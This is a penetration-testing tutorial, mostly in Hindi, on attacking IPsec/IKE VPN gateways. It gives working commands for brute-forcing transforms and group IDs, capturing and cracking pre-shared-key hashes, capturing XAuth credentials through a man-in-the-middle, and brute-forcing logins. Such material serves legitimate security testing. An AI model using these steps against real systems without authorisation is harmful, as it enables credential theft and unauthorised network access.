# 500/udp - Pentesting IPsec/IKE VPN {{#include ../banners/hacktricks-training.md}} ## Basic Information **IPsec** को नेटवर्कों (LAN-to-LAN) के बीच और दूरस्थ उपयोगकर्ताओं से नेटवर्क गेटवे (दूरस्थ पहुंच) तक संचार को सुरक्षित करने के लिए मुख्य तकनीक के रूप में व्यापक रूप से मान्यता प्राप्त है, जो उद्यम VPN समाधानों के लिए रीढ़ के रूप में कार्य करता है। दो बिंदुओं के बीच **सुरक्षा संघ (SA)** की स्थापना **IKE** द्वारा प्रबंधित की जाती है, जो ISAKMP के तहत कार्य करता है, जो प्रमाणीकरण और कुंजी विनिमय के लिए डिज़ाइन किया गया एक प्रोटोकॉल है। यह प्रक्रिया कई चरणों में होती है: - **चरण 1:** दो अंत बिंदुओं के बीच एक सुरक्षित चैनल बनाया जाता है। यह एक प्री-शेयर की (PSK) या प्रमाणपत्रों के उपयोग के माध्यम से प्राप्त किया जाता है, मुख्य मोड का उपयोग करते हुए, जिसमें तीन संदेश जोड़े शामिल होते हैं, या **आक्रामक मोड**। - **चरण 1.5:** हालांकि यह अनिवार्य नहीं है, इस चरण को विस्तारित प्रमाणीकरण चरण के रूप में जाना जाता है, जो उपयोगकर्ता की पहचान की पुष्टि करता है जो कनेक्ट करने का प्रयास कर रहा है, एक उपयोगकर्ता नाम और पासवर्ड की आवश्यकता होती है। - **चरण 2:** यह चरण डेटा को **ESP** और **AH** के साथ सुरक्षित करने के लिए पैरामीटर पर बातचीत करने के लिए समर्पित है। यह **परफेक्ट फॉरवर्ड सीक्रेसी (PFS)** सुनिश्चित करने के लिए चरण 1 में उपयोग किए गए एल्गोरिदम से भिन्न एल्गोरिदम के उपयोग की अनुमति देता है, जिससे सुरक्षा बढ़ती है। **डिफ़ॉल्ट पोर्ट:** 500/udp ## **nmap** का उपयोग करके सेवा का **खोज** करें ``` root@bt:~# nmap -sU -p 500 172.16.21.200 Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Nmap scan report for 172.16.21.200 Host is up (0.00036s latency). PORT STATE SERVICE 500/udp open isakmp MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **एक मान्य परिवर्तन ढूंढना** IPSec कॉन्फ़िगरेशन केवल एक या कुछ परिवर्तनों को स्वीकार करने के लिए तैयार किया जा सकता है। एक परिवर्तन मानों का एक संयोजन है। **प्रत्येक परिवर्तन** में कई विशेषताएँ होती हैं जैसे DES या 3DES को **एन्क्रिप्शन एल्गोरिदम** के रूप में, SHA या MD5 को **अखंडता एल्गोरिदम** के रूप में, एक पूर्व-शेयर की को **प्रमाणीकरण प्रकार** के रूप में, Diffie-Hellman 1 या 2 को कुंजी **वितरण एल्गोरिदम** के रूप में और 28800 सेकंड को **जीवनकाल** के रूप में। फिर, आपको जो पहला काम करना है वह है **एक मान्य परिवर्तन ढूंढना**, ताकि सर्वर आपसे बात कर सके। ऐसा करने के लिए, आप उपकरण **ike-scan** का उपयोग कर सकते हैं। डिफ़ॉल्ट रूप से, Ike-scan मुख्य मोड में काम करता है, और एक पैकेट को गेटवे पर ISAKMP हेडर और **इसके अंदर आठ परिवर्तनों के साथ** एकल प्रस्ताव के साथ भेजता है। प्रतिक्रिया के आधार पर, आप एंडपॉइंट के बारे में कुछ जानकारी प्राप्त कर सकते हैं: ``` root@bt:~# ike-scan -M 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=d90bf054d6b76401) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फ़ील्ड है जिसे **AUTH** कहा जाता है और इसका मान **PSK** है। इसका मतलब है कि vpn को एक प्रीशेयर की का उपयोग करके कॉन्फ़िगर किया गया है (और यह एक pentester के लिए वास्तव में अच्छा है)।\ **अंतिम पंक्ति का मान भी बहुत महत्वपूर्ण है:** - _0 returned handshake; 0 returned notify:_ इसका मतलब है कि लक्ष्य **IPsec गेटवे नहीं है**। - _**1 returned handshake; 0 returned notify:**_ इसका मतलब है कि **लक्ष्य IPsec के लिए कॉन्फ़िगर किया गया है और IKE वार्ता करने के लिए इच्छुक है, और आप द्वारा प्रस्तावित एक या अधिक ट्रांसफॉर्म स्वीकार्य हैं** (एक मान्य ट्रांसफॉर्म आउटपुट में दिखाया जाएगा)। - _0 returned handshake; 1 returned notify:_ VPN गेटवे तब एक नोटिफाई संदेश के साथ प्रतिक्रिया करते हैं जब **कोई भी ट्रांसफॉर्म स्वीकार्य नहीं है** (हालांकि कुछ गेटवे ऐसा नहीं करते हैं, इस मामले में आगे विश्लेषण और एक संशोधित प्रस्ताव का प्रयास किया जाना चाहिए)। फिर, इस मामले में हमारे पास पहले से ही एक मान्य ट्रांसफॉर्म है लेकिन यदि आप तीसरे मामले में हैं, तो आपको **एक मान्य ट्रांसफॉर्म खोजने के लिए थोड़ा ब्रूट-फोर्स करना होगा:** सबसे पहले, आपको सभी संभावित ट्रांसफॉर्मेशन बनाने की आवश्यकता है: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` और फिर प्रत्येक को ike-scan का उपयोग करके ब्रूट-फोर्स करें (इसमें कई मिनट लग सकते हैं): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` यदि ब्रूट-फोर्स काम नहीं करता है, तो शायद सर्वर बिना हैंडशेक के भी मान्य ट्रांसफॉर्म्स का उत्तर दे रहा है। फिर, आप आक्रामक मोड का उपयोग करके वही ब्रूट-फोर्स आजमा सकते हैं: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` उम्मीद है कि **एक मान्य परिवर्तन वापस दर्शाया जाएगा**।\ आप [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) का उपयोग करके **समान हमला** करने की कोशिश कर सकते हैं।\ आप [**ikeforce**](https://github.com/SpiderLabs/ikeforce) के साथ परिवर्तनों को ब्रूट फोर्स करने की भी कोशिश कर सकते हैं: ```bash ./ikeforce.py # No parameters are required for scan -h for additional help ``` ![](<../images/image (617).png>) In **DH Group: 14 = 2048-bit MODP** and **15 = 3072-bit**\ **2 = HMAC-SHA = SHA1 (इस मामले में)। `--trans` प्रारूप है $Enc,$Hash,$Auth,$DH** Cisco यह संकेत करता है कि DH समूह 1 और 2 का उपयोग करने से बचें क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञों का मानना है कि **जिन देशों के पास बहुत सारे संसाधन हैं, वे आसानी से इन कमजोर समूहों का उपयोग करने वाले डेटा की एन्क्रिप्शन को तोड़ सकते हैं।** यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें कोड को जल्दी से क्रैक करने के लिए तैयार करती है। हालांकि इस विधि को स्थापित करने में बहुत पैसा खर्च होता है, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति देती है यदि यह किसी कमजोर समूह (जैसे 1,024-बिट या छोटे) का उपयोग कर रहा है। ### सर्वर फिंगरप्रिंटिंग फिर, आप ike-scan का उपयोग करके **उपकरण के विक्रेता** का पता लगाने की कोशिश कर सकते हैं। उपकरण एक प्रारंभिक प्रस्ताव भेजता है और पुनः खेलने से रुक जाता है। फिर, यह प्राप्त **संदेशों** से सर्वर और मिलान प्रतिक्रिया पैटर्न के बीच **समय** के अंतर का **विश्लेषण** करेगा, पेंटेस्टर सफलतापूर्वक VPN गेटवे विक्रेता का फिंगरप्रिंट बना सकता है। इसके अलावा, कुछ VPN सर्वर IKE के साथ वैकल्पिक **विक्रेता आईडी (VID) पेलोड** का उपयोग करेंगे। **यदि आवश्यक हो तो मान्य परिवर्तन निर्दिष्ट करें** (using --trans) यदि IKE यह पता लगाता है कि विक्रेता कौन है, तो यह इसे प्रिंट करेगा: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) 172.16.21.200 Main Mode Handshake returned HDR=(CKY-R=4f3ec84731e2214a) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) IKE Backoff Patterns: IP Address No. Recv time Delta Time 172.16.21.200 1 1322286031.744904 0.000000 172.16.21.200 2 1322286039.745081 8.000177 172.16.21.200 3 1322286047.745989 8.000908 172.16.21.200 4 1322286055.746972 8.000983 172.16.21.200 Implementation guess: Cisco VPN Concentrator Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` यह nmap स्क्रिप्ट _**ike-version**_ के साथ भी प्राप्त किया जा सकता है ## सही ID (समूह नाम) खोजना हैश को कैप्चर करने की अनुमति पाने के लिए आपको एक मान्य ट्रांसफॉर्मेशन की आवश्यकता है जो आक्रामक मोड का समर्थन करता है और सही ID (समूह नाम) होना चाहिए। आपको शायद मान्य समूह नाम नहीं पता होगा, इसलिए आपको इसे ब्रूट-फोर्स करना होगा।\ इसके लिए, मैं आपको 2 विधियाँ सुझाऊंगा: ### ike-scan के साथ ID का ब्रूटफोर्सिंग सबसे पहले, एक नकली ID के साथ एक अनुरोध करने की कोशिश करें जिससे हैश इकट्ठा किया जा सके ("-P"): ```bash ike-scan -P -M -A -n fakeID ``` यदि **कोई हैश वापस नहीं किया गया है**, तो शायद यह ब्रूट फोर्सिंग की विधि काम करेगी। **यदि कुछ हैश वापस किया गया है, तो इसका मतलब है कि एक नकली हैश एक नकली आईडी के लिए वापस भेजा जाएगा, इसलिए यह विधि आईडी को ब्रूट-फोर्स करने के लिए विश्वसनीय नहीं होगी।** उदाहरण के लिए, एक नकली हैश वापस किया जा सकता है (यह आधुनिक संस्करणों में होता है): ![](<../images/image (917).png>) लेकिन यदि जैसा कि मैंने कहा, कोई हैश वापस नहीं किया गया है, तो आपको ike-scan का उपयोग करके सामान्य समूह नामों को ब्रूट-फोर्स करने का प्रयास करना चाहिए। यह स्क्रिप्ट **संभावित आईडी को ब्रूट-फोर्स करने का प्रयास करेगी** और उन आईडी को वापस करेगी जहाँ एक मान्य हैंडशेक वापस किया गया है (यह एक मान्य समूह नाम होगा)। यदि आपने एक विशिष्ट परिवर्तन खोजा है, तो इसे ike-scan कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है, तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक कि उनमें से एक सही ढंग से काम न करे)। आप सामान्य समूह नामों को ब्रूट-फोर्स करने के लिए [ikeforce का शब्दकोश](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) या [seclists में एक](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) का उपयोग कर सकते हैं: ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` {{#file}} vpnIDs.txt {{#endfile}} ### Iker के साथ ID का ब्रूटफोर्सिंग [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) भी **ike-scan** का उपयोग करके संभावित समूह नामों का ब्रूटफोर्स करने के लिए उपयोग किया जाता है। यह **ike-scan** के आउटपुट के आधार पर **एक मान्य ID खोजने** के लिए अपनी विधि का पालन करता है। ### ikeforce के साथ ID का ब्रूटफोर्सिंग [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) एक उपकरण है जिसका उपयोग **ID का ब्रूटफोर्स करने** के लिए किया जा सकता है। यह उपकरण **विभिन्न कमजोरियों का शोषण करने की कोशिश करेगा** जो **एक मान्य और गैर-मान्य ID के बीच अंतर करने** के लिए उपयोग की जा सकती हैं (इसमें झूठे सकारात्मक और झूठे नकारात्मक हो सकते हैं, इसलिए मैं संभवतः ike-scan विधि का उपयोग करना पसंद करता हूं)। डिफ़ॉल्ट रूप से **ikeforce** शुरुआत में कुछ यादृच्छिक IDs भेजेगा ताकि सर्वर के व्यवहार की जांच की जा सके और उपयोग करने के लिए रणनीति निर्धारित की जा सके। - **पहली विधि** समूह नामों को **खोजने** के लिए **ब्रूट-फोर्स** करना है **Dead Peer Detection DPD** की जानकारी के लिए Cisco सिस्टमों की (यह जानकारी केवल तब सर्वर द्वारा पुनः भेजी जाती है जब समूह नाम सही होता है)। - उपलब्ध **दूसरी विधि** यह है कि **प्रत्येक प्रयास के लिए भेजे गए उत्तरों की संख्या की जांच करें** क्योंकि कभी-कभी सही ID का उपयोग करने पर अधिक पैकेट भेजे जाते हैं। - **तीसरी विधि** **गलत ID के जवाब में "INVALID-ID-INFORMATION" की खोज** करने पर आधारित है। - अंत में, यदि सर्वर जांचों के लिए कुछ भी पुनः भेजता नहीं है, तो **ikeforce** सर्वर को ब्रूटफोर्स करने की कोशिश करेगा और जांच करेगा कि जब सही ID भेजी जाती है तो सर्वर कुछ पैकेट के साथ पुनः भेजता है।\ स्पष्ट है, ID का ब्रूटफोर्स करने का लक्ष्य **PSK** प्राप्त करना है जब आपके पास एक मान्य ID हो। फिर, **ID** और **PSK** के साथ आपको XAUTH का ब्रूटफोर्स करना होगा (यदि यह सक्षम है)। यदि आपने एक विशिष्ट परिवर्तन खोजा है तो इसे ikeforce कमांड में जोड़ें। और यदि आपने कई परिवर्तनों की खोज की है तो उन्हें सभी को आजमाने के लिए एक नया लूप जोड़ने में संकोच न करें (आपको तब तक सभी को आजमाना चाहिए जब तक उनमें से एक सही ढंग से काम न करे)। ```bash git clone https://github.com/SpiderLabs/ikeforce.git pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ``` ```bash ./ikeforce.py -e -w ./wordlists/groupnames.dic ``` ### Sniffing ID (From the book **Network Security Assessment: Know Your Network**): यह VPN क्लाइंट और सर्वर के बीच कनेक्शन को स्निफ़ करके मान्य उपयोगकर्ता नाम प्राप्त करना भी संभव है, क्योंकि पहले आक्रामक मोड पैकेट जिसमें क्लाइंट ID होती है, स्पष्ट रूप से भेजी जाती है। ![](<../images/image (891).png>) ## Capturing & cracking the hash अंत में, यदि आपने एक **मान्य परिवर्तन** और **समूह नाम** पाया है और यदि **आक्रामक मोड की अनुमति है**, तो आप बहुत आसानी से क्रैक करने योग्य हैश प्राप्त कर सकते हैं: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` हैश _hash.txt_ के अंदर सहेजा जाएगा। आप **psk-crack**, **john** (जिसका उपयोग [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) और **hashcat** करके हैश को **क्रैक** करने के लिए कर सकते हैं: ```bash psk-crack -d psk.txt ``` ## **XAuth** **Aggressive mode IKE** को **Pre-Shared Key (PSK)** के साथ मिलाकर **group authentication** के उद्देश्यों के लिए सामान्यतः उपयोग किया जाता है। इस विधि को **XAuth (Extended Authentication)** द्वारा बढ़ाया जाता है, जो **user authentication** की एक अतिरिक्त परत पेश करता है। ऐसी प्रमाणीकरण आमतौर पर **Microsoft Active Directory**, **RADIUS**, या समान प्रणालियों जैसी सेवाओं का उपयोग करती है। **IKEv2** में संक्रमण करते समय, एक महत्वपूर्ण बदलाव देखा जाता है जहाँ **EAP (Extensible Authentication Protocol)** का उपयोग **XAuth** के स्थान पर उपयोगकर्ताओं को प्रमाणित करने के लिए किया जाता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं में एक विकास को उजागर करता है। ### Local network MitM to capture credentials तो आप _fiked_ का उपयोग करके लॉगिन का डेटा कैप्चर कर सकते हैं और देख सकते हैं कि क्या कोई डिफ़ॉल्ट उपयोगकर्ता नाम है (आपको sniffing के लिए IKE ट्रैफ़िक को `fiked` पर पुनर्निर्देशित करने की आवश्यकता है, जिसे ARP spoofing की मदद से किया जा सकता है, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked एक VPN endpoint के रूप में कार्य करेगा और XAuth क्रेडेंशियल्स को कैप्चर करेगा: ```bash fiked -g -k testgroup:secretkey -l output.txt -d ``` Also, using IPSec try to make a MitM attack and block all traffic to port 500, if the IPSec tunnel cannot be established maybe the traffic will be sent in clear. ### Brute-forcing XAUTH username ad password with ikeforce To brute force the **XAUTH** (जब आप एक मान्य समूह नाम **id** और **psk** जानते हैं) you can use a username or list of usernames and a list o passwords: ```bash ./ikeforce.py -b -i -u -k -w [-s 1] ``` इस तरह, ikeforce प्रत्येक username:password के संयोजन का उपयोग करके कनेक्ट करने की कोशिश करेगा। यदि आपने एक या एक से अधिक मान्य ट्रांसफॉर्म पाए हैं, तो बस उन्हें पिछले चरणों की तरह उपयोग करें। ## IPSEC VPN के साथ प्रमाणीकरण Kali में, **VPNC** IPsec टनल स्थापित करने के लिए उपयोग किया जाता है। **प्रोफाइल** को निर्देशिका `/etc/vpnc/` में स्थित होना चाहिए। आप _**vpnc**_ कमांड का उपयोग करके इन प्रोफाइल को प्रारंभ कर सकते हैं। निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेट करने की प्रक्रिया को दर्शाते हैं: ```bash root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP IPSec gateway [VPN_GATEWAY_IP] IPSec ID [VPN_CONNECTION_ID] IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk Xauth username [VPN_USERNAME] Xauth password [VPN_PASSWORD] STOP root@system:~# vpnc samplevpn VPNC started in background (pid: [PID])... root@system:~# ifconfig tun0 ``` इस सेटअप में: - `[VPN_GATEWAY_IP]` को VPN गेटवे के वास्तविक IP पते से बदलें। - `[VPN_CONNECTION_ID]` को VPN कनेक्शन के पहचानकर्ता से बदलें। - `[VPN_GROUP_SECRET]` को VPN के समूह गुप्त से बदलें। - `[VPN_USERNAME]` और `[VPN_PASSWORD]` को VPN प्रमाणीकरण क्रेडेंशियल्स से बदलें। - `[PID]` उस प्रक्रिया ID का प्रतीक है जो `vpnc` के आरंभ होने पर असाइन की जाएगी। VPN कॉन्फ़िगर करते समय प्लेसहोल्डर्स को बदलने के लिए वास्तविक, सुरक्षित मानों का उपयोग सुनिश्चित करें। ## संदर्भ सामग्री - [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) - [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) - [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf) - Network Security Assessment 3rd Edition ## Shodan - `port:500 IKE` {{#include ../banners/hacktricks-training.md}}